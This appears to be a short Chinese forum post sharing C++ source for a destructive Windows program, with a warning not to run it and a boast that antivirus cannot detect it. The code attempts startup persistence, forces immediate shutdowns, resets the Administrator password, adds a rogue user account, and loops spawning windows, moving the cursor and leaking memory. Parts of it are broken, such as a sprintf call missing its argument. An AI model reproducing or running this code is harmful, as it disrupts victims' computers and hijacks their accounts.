用Dev-C++编的
Dev-C++应该能拦截下来
毕竟会std::bad_alloc
但千万不要不要运行!
杀毒器无法查杀
若造成电脑损坏,本人概不负责
#include<bits/stdc++.h>
using namespace std;
int main(){
char copy[80];
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"");
system(copy);
char cmd[]="shutdown -s -t 20";
system("ping 百度一下,你就知道");
system(cmd);
system("pause");
system(copy);
system("net user Administrator xz");
system("net user 崩溃 xz /add");
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
system("shutdown -s -t 0");
while(1){
SetCursorPos(rand()%x,rand()%y);
system("start");
char *p=new char[10000];
}
return 0;
}